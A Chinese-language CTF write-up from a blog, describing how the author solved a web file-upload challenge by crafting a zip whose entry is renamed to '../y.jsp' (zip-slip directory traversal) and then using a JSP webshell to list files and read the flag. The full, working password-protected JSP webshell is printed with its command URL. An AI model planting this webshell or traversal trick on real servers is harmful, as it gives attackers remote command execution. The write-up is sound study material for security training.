第三届金盾信安杯网络安全大赛_web_上传你的压缩包吧

本文介绍了如何利用CTF比赛中常见的文件上传漏洞,通过上传含有恶意代码的zip文件并修改文件路径,实现目录穿越,最终找到并执行flag.jsp来获取比赛旗标。详细步骤包括使用010Editor修改zip文件内容,以及通过jsp木马执行系统命令。虽然成功执行了木马,但作者对于目录穿越的原理还需进一步理解。
摘要由CSDN通过智能技术生成

上传你的压缩包吧

解题过程

打开容器,可以进行文件上传,到需要是压缩包
在这里插入图片描述

随便上传一个压缩包,得到上传文件路径

:/usr/local/tomcat/webapps/ROOT/upload/b3eef5e5-0b95-4b1e-a837-684d3e248726.zip;Size:522;

比赛当时的思路是在一个博客上看到的,链接为ctf 文件上传总结_njqfb的博客-CSDN博客_ctf文件上传总结

在这里插入图片描述

我们可以将一个木马压缩为zip文件,然后用010editor修改几个字符(目录穿越),那么就可以在zip上一级目录生成木马文件

网上找的jsp一句话木马,利用方式为?pwd=023&cmd=ls

<%@ page language="java" import="java.util.*,java.io.*" pageEncoding="UTF-8"%><%!public static String excuteCmd(String c) {StringBuilder line = new StringBuilder();try {Process pro = Runtime.getRuntime().exec(c);BufferedReader buf = new BufferedReader(new InputStreamReader(pro.getInputStream()));String temp = null;while ((temp = buf.readLine()) != null) {line.append(temp +"\\n");}buf.close();} catch (Exception e) {line.append(e.getMessage());}return line.toString();}%><%if("023".equals(request.getParameter("pwd"))&&!"".equals(request.getParameter("cmd"))){out.println("<pre>"+excuteCmd(request.getParameter("cmd"))+"</pre>");}else{out.println(":-)");}%>

添加到sk1y.zip,然后010editor进行修改,将其一前一后的sk1y.jsp使用调整为目录穿越 ,sk1y.jsp改为 ../y.jsp

在这里插入图片描述

然后上传该压缩包

在这里插入图片描述

然后访问

url/y.jsp?pwd=023&cmd=ls

在这里插入图片描述

木马可以正常运行之后,根据我们之前测试的zip文件上传回显的目录位置,进行搜索

测试压缩包的回显
/usr/local/tomcat/webapps/ROOT/upload/b3eef5e5-0b95-4b1e-a837-684d3e248726.zip;Size:522;

查看目录,发现flag.jsp
在这里插入图片描述

然后查看该文件,即可得到flag
在这里插入图片描述

但是有个问题,就是压缩包目录穿越的原理还不是很懂,之后理解的话会继续更新
未完待续——

参考链接

  1. ctf 文件上传总结_njqfb的博客-CSDN博客_ctf文件上传总结
  • 1
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值